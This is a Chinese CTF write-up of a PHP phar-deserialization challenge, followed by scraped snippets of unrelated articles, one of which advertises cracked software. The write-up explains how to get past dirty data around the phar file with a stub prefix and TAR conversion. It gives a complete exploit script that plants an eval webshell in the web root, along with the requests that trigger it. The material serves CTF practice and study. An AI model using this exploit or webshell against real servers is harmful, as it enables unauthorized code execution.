免费行情的软件大全下载/seo快速软件
昨天的比赛,14.00-17.00.时间有点紧张,比赛期间没拿下来这道 😭非常痛苦,很顺畅的思路 一步步想下来,卡在最后一步末尾脏数据处理了,最后时间到了 没打通,还需多练
这里本地复现一下:
看一下附件里的 logger.php
<?php
error_reporting(0);
class Logger{private $filename;private $content;private $endContent;function __construct($filename,$endContent){$this->filename = $filename;$this->endContent = $endContent;}function info($content){!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";$content = "Type:INFO Messsage:$content";$file = fopen($this->filename,"a");fwrite($file,$content);fclose($file);}function __destruct(){$this->info($this->endContent);}
}$time = time();
$logger = new Logger("log/info.log","Close at $time");
$fileName = $_POST['file'];
$userName = $_POST["name"] ?? "nothing";
if (file_exists($fileName)){echo "File exists";$logger->info("$userName");
}else{echo "File does not exist";$logger->info("$userName");
}
?>
审一下,大题就是 POST传入file和name参数,执行file_exists($fileName) 不管是否存在,都会执行 $logger->info($userName); logger::info()函数功能为 往 $this->filename里 fopen($filename,"a") 写入传入的name参数的内容。 也就是往 log/info.log里。
然后函数执行完毕,对象销毁的时候,执行一次 __destruct()函数,再往log/info.log 写入 Close at $time
由于不存在反序列化函数unserialize(), 因此这个$logger这个对象里 $this->name 是不可控的,就是 log/info.log
$logger = new Logger("log/info.log","Close at $time");
但是 file_exists()会触发phar反序列化,同时结合上面 我们可以写入 log/info.log文件,那我们是不是可以通过 post name参数,post 一个我们构造好的phar文件内容,写入到 log/info.log文件里。由于phar:// 协议可以解析其他后缀(主要是看文件内容,不看后缀), 因此我们再次通过file_exists()去触发 phar反序列化,触发__destruct(),从而 通过 构造好的序列化meta数据 $this->filename, $this->endContent 往filename 写入我们要执行的命令(🐎)
原理是这样,没错。 但是,,, 你看看log/info.log里的东西
payload为我们phar文件内容,但是很明显info.log并不是纯正的phar文件,里面有脏东西的,,
由于签名部分的存在,php会校验文件哈希值,并检查末尾是否为GBMB,如下是解析部分的源码:
phar文件的格式,签名 不允许他前后有东西,解析不了 这怎么办????
这里涉及到了脏数据的处理,解决方法:
(1) 绕过前面的脏数据
这里我们可以看到,它前面会给我们加上"Type:INFO Messsage:",phar文件是有签名标准的,签名多了这么一段 会使得签名无效。但是这个是很容易绕过的,这个就比较类似于 之前phar题里的一种图片头绕过,前面需要是GIF89a 。我们只需要在生成phar文件时 setStub 代码里改成
$phar = new Phar("poc.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($c);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
//签名自动计算
$phar->stopBuffering();
这样在生成文件的时候,会自动前面好,因此这个是非常好绕过的。我们来010editor里看一下生成的phar文件里是什么:
可以看到前面加上了 "Type:INFO Messsage:"。
回到这道题,我们可以在这样生成phar文件之后,由于题目往log/info.log文件里写内容时,会自己加上"Type:INFO Messsage:",因此我们只需要给 name传构造好的phar文件里"Type:INFO Messsage:" 后面的文件内容(url编码一下) 就可以解决前面脏数据对phar文件解析的影响
但是,在文件执行完,对象销毁的时候,他还会往log/info.log 里写进其他的东西,md 后面又多了一段脏数据: "Type:INFO Messsage:Close at 1677925012" 当时就卡这里了
(2) 通过 tar 绕过phar后面的脏数据
phar文件如果末尾不是GBMB会直接导致解析失败。我们知道一句话木马由于有<?php ?>
这样的头尾标识存在,可以无视前后脏数据;然而对于phar,这样的骚操作被签名部分阻止了
那这个没法绕过吗? 可以的 。
利用convertToExecutable函数,我们可以把phar文件转为其他格式的phar文件,例如.tar和.zip格式
如果以 tar文件格式储存phar,会使得它不会受后面数据的影响,(这是tar的格式决定的)
当然不止有tar,还有其他格式,对应的转化代码:
<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip
这里注意就是
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**
$phar->startBuffering();
$phar->addFromString("Type:INFO Messsage:","");
//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算
$phar->stopBuffering();
exp如下:
<?php
unlink("a.phar.tar");
class Logger{private $filename = "/var/www/html/shell.php";private $endContent = '<?php eval($_POST["shell"]);?>';
}
$log = "Type:INFO Messsage:";
$log_len = strlen($log);$phar = new Phar("a.phar"); //后缀名必须为phar
$phar = $phar->convertToExecutable(Phar::TAR); //会生成*.phar.tar**$phar->startBuffering();$phar->addFromString("Type:INFO Messsage:","");
//tar文件开头是第一个添加文件的的文件名,注意添加的文件顺序不要错了
$phar->setStub("Type:INFO Messsage:"."<?php __HALT_COMPILER(); ?>"); //设置stub$test = new Logger();
$phar->setMetadata($test); //将自定义的meta-data存入manifest//签名自动计算
$phar->stopBuffering();$exp = file_get_contents("./a.phar.tar");
$post_exp = substr($exp, $log_len);
echo rawurlencode($post_exp); //urlencode输出数据流
生成exp后
先post name=exp&file=aa
然后post name=&file=phar://./log/info.log去触发phar反序列化
成功写入shell.php
参考:https://www.cnblogs.com/yyy2015c01/p/phar-deserialization.html
相关文章:

网络安全平台测试赛 easyphp(phar脏数据处理)
昨天的比赛,14.00-17.00.时间有点紧张,比赛期间没拿下来这道 😭非常痛苦,很顺畅的思路 一步步想下来,卡在最后一步末尾脏数据处理了,最后时间到了 没打通,还需多练 这里本地复现一下࿱…...

【python】XML格式文件读写详解
注:最后有面试挑战,看看自己掌握了吗 文章目录XML介绍格式XML与AJAX与HTML区别联系生成XML文件案例用SAX模块处理XML用DOM模块处理XML🌸I could be bounded in a nutshell and count myself a king of infinite space. 特别鸣谢:…...

理解js的精度问题
参考博客:js精度丢失问题-看这篇文章就够了(通俗易懂)、探寻 JavaScript 精度问题以及解决方案、JavaScript 浮点数陷阱及解法 1 为什么 JavaScript 中所有数字包括整数和小数都只有一种类型 即 Number类型,它的实现遵循 IEEE 754 标准。 符号位S&#…...

蓝桥杯 时间显示
题目 输入输出样例 示例 1 输入 46800999输出 13:00:00示例 2 输入 1618708103123输出 01:08:23评测用例规模与约定 对于所有评测用例,给定的时间为不超过 10^{18}1018 的正整数。 运行限制 最大运行时间:1s最大运行内存: 512M 基础知识 时间的转换…...

qt中设置菜单高度
如题所示,我建立一个菜单,代码如下,但是菜单项的高度太小了, { popupMenu new QMenu(this); QAction *action1 new QAction(tr(“&New1”), this); QAction *action2 new QAction(tr(“&New2”), this); QA…...

测开:前端基础-css页面布局-定位
一 、传统网页布局的三种方式 网页布局的本质–用CSS来摆放盒子,把盒子摆放到相应的位置,css提供了三种传统布局方式,分别是标准流,浮动和定位三种。 二、 定位 2.1 啥是定位 我的理解,就是要把这个元素,…...

Servlet中八个监听器介绍
一、监听对象创建的监听器 1、ServletContextListener /*** 用于监听ServletContext对象创建和销毁的监听器* since v 2.3*/public interface ServletContextListener extends EventListener {/*** 对象创建时执行此方法。该方法的参数是ServletContextEvent事件对象…...

LicenseBox Crack,对服务器的要求最低
LicenseBox Crack,对服务器的要求最低 LicenseBox是用于管理基于PHP的软件、WordPress插件或主题、主题、插件和WordPress的更新和许可的完整软件。它易于安装,对服务器的要求最低,用户友好的界面,无限脚本的使用为您的创造力打开了大门。 Li…...

css中重难点整理(vertical-align)
一、vertical-align 在学习vertical-align的时候,可能会很困惑。即使网上有一大推文章讲veitical-align,感觉看完好像懂了,等自己布局的时候用到vertical-align的时候好像对它又很陌生。这就是我在布局的时候遇到的问题。 本来vertical-align就很不好理…...

javaScript基础面试题 ---宏任务微任务
宏任务微任务一、为什么JS是单线程语言?二、JS是单线程,怎样执行异步代码?1、JS是单线程语言 2、JS代码执行流程,同步执行完,再进行事件循环(微任务、宏任务) 3、清空所有的微任务,再…...

基于JSP的网上书城
技术:Java、JSP等摘要:随着科技的迅速发展,计算机技术已应用到社会的各个领域。随着计算机技术和通信技术的迅速发展,网络的规模也逐渐增大,网络的元素也随之不断增加,有的利用其通信,有的利用其…...

C#教程 05 常量
文章目录 C# 常量整数常量浮点常量字符常量字符串常量定义常量C# 常量 常量是固定值,程序执行期间不会改变。常量可以是任何基本数据类型,比如整数常量、浮点常量、字符常量或者字符串常量,还有枚举常量。 常量可以被当作常规的变量,只是它们的值在定义后不能被修改。 整数…...

【华为OD机试真题java、python】基站维修工程师【2022 Q4 100分】(100%通过)
代码请进行一定修改后使用,本代码保证100%通过率。本文章提供java、python两种代码 题目描述 小王是一名基站维护工程师,负责某区域的基站维护。 某地方有 n 个基站( 1<n<10 ),已知各基站之间的距离 s( 0<s<500 ), 并且基站 x 到基站 y 的距离,与基站 y …...

你是真的“C”——为冒泡排序升级赋能!
你是真的“C”——为冒泡排序升级赋能!😎前言🙌冒泡排序升级赋能之境界一!冒泡排序升级赋能之境界二!qsort库函数的运用和认识总结撒花💞😎博客昵称:博客小梦 😊最喜欢的…...

【JavaEE】基于mysql与servlet自制简易的表白墙程序
文章目录1 表白墙页面构建2 Servlet 回顾3 表白墙后端程序实现3.1 我们需要做什么?3.2 实现细节4 实现结果写在最后1 表白墙页面构建 该页面由标题、文本、三个 input 输入框与一个提交按钮构成,整体比较简单,相关样式文件和页面代码会在后面…...

抓包技术(浏览器APP小程序PC应用)
P1 抓包工具 01. Fidder 首先第一个Fiddler它的优势,独立运行,第二个支持移动设备(是否能抓移动APP的包,)在这一块的话wireshark、httpwatch就不支持,因此在这一块就可以排除掉前连个,因为我们…...

linux笔记(10):ubuntu环境下,基于SDL2运行lvgl+ffmpeg播放mp4
文章目录1.ubuntu安装ffmpeg1.1 源码安装1.1 克隆ffmpeg源码1.2 配置编译条件,编译,安装1.2 直接安装依赖包2.下载lvgl源码2.1 测试原始代码2.2 运行lv_example_ffmpeg_2()例程2.2.1 配置 LV_USE_FFMPEG 为 12.2.2 lv_example_ffmpeg_2()替换lv_demo_wid…...

JavaScript专题之类型判断(下)
参考原文:JavaScript专题之类型判断(下) 前言 在上篇《JavaScript专题之类型判断(上)》中,我们抄袭 jQuery 写了一个 type 函数,可以检测出常见的数据类型,然而在开发中还有更加复杂的判断,比如 plainObject、空对象…...

【VC 7/8】vCenter Server 基于文件的备份和还原Ⅲ—— 使用 SMB 协议备份 VC(VAMI 中文)
目录2.2 使用 SMB 协议备份 VC(VAMI 中文)(1)登录 vCenter Server 管理界面(2)进入备份页面(3)配置 Backup Schedule(4)开始备份(5)备…...

linux - 内核编译
一. 编译的实质基于头文件和c文件--->产生对象文件(.o)将所有的对象文件链接起来,产生可执行文件。内核的编译系统组成Makefile分布在内核源代码中的Makefile, 定义内核的编译规则,配合Kconfig使用。Kconfig配置文件,给用户提供…...

Spring——配置文件实现IOC和DI入门案例
现在先如图创建如下的Maven项目,在业务层和数据层分别写上对应的接口和实现类 在BookServiceImpl中创建一个BookDaoImpl对象,并调用里面的save()方法。 在测试类里面new一个bookservice的实现类,调用save()方法 输出如下图所示 要使用IOC容…...

机器学习100天(四十一):041 对偶支持向量机-公式推导
《机器学习100天》完整目录:目录 机器学习 100 天,今天讲的是:对偶支持向量机-公式推导! 本节主要延续上一节的内容,推导线性支持向量机的对偶形式。本节内容包含的数学理论和推导很多,我尽量简化其中的数学部分,只做感性的介绍,便于大家在理解的同时不受数学复杂公式…...

C语言下的signal()函数
signal()简介 signal() 函数是 C 语言中用于处理系统信号的函数。它在 signal.h 头文件中进行声明。信号用作进程间通信,报告异常行为,例如除零,或用户的一些按键组合,例如同时按下 Ctrl 与 C 键,产生信号 SIGINT。 …...

google独立站和与企业官网的区别是什么?
google独立站和与企业官网的区别是什么? 答案是:独立站通过谷歌SEO优化可以更好的获取自然排名的流量。 随着互联网的不断发展,企业越来越重视自身网站的建设和优化,而在企业网站建设中,很多人会犯一个常见的错误&am…...

Vue3---语法初探
目录 hello world 实现简易计时显示 反转字符串 显示隐藏 了解循环 了解双向绑定实现简易记事 设置鼠标悬停的文本 组件概念初探,进行组件代码拆分 hello world 最原始形态,找到 id 为 root 的标签,将 Vue 实例的模板放入标签之内 …...

esp8266WiFi模块通过MQTT连接华为云
esp8266WiFi模块通过MQTT连接华为云总结:一、 MQTT透传AT固件烧录二、 串口调试2.1 设置模块为STA模式2.2 连接WiFi2.3 设置MQTT的登陆用户名与密码2.4 设置MQTT的ClientID2.5 设置MQTT接入地址2.6 订阅设备属性上报的主题2.7 上传数据2.8 平台下发命令2.9 华为云物…...

苹果新卫星专利公布,苹果Find My功能知多少
根据美国商标和专利局(USPTO)公示的清单,苹果公司获得了一项新的卫星专利,可在非地面网络(Non-Terrestrial Networks,NTN)中定位用户设备(iDevice、MacBook 等)。 在专利…...

[ICLR‘22] DAB-DETR: Dynamic Anchor Boxes Are Better Queries for DETR
paper: https://arxiv.org/pdf/2201.12329.pdfcode: GitHub - IDEA-Research/DAB-DETR: [ICLR 2022] DAB-DETR: Dynamic Anchor Boxes are Better Queries for DETR将位置相关性计算显式的引入到decoder中,通过box坐标(x, y, w, h) 影响Q和K的相关性计算。特征图要有…...

双周赛99(贪心、数学、区间合并计算、换根DP)
文章目录双周赛99[6312. 最小和分割](https://leetcode.cn/problems/split-with-minimum-sum/)贪心[6311. 统计染色格子数](https://leetcode.cn/problems/count-total-number-of-colored-cells/)找规律[6313. 统计将重叠区间合并成组的方案数](https://leetcode.cn/problems/c…...

OpenText Exceed TurboX(ETX) 客户案例——弗吉尼亚理工大学
弗吉尼亚理工大学简化了高性能计算的使用。OpenText Exceed TurboX 提供高性能图形远程应用程序访问,提高工作效率 挑战 图形界面响应缓慢,影响用户使用; 对复制应用程序输出文件进行本地分析时,影响带宽和速度; 使用…...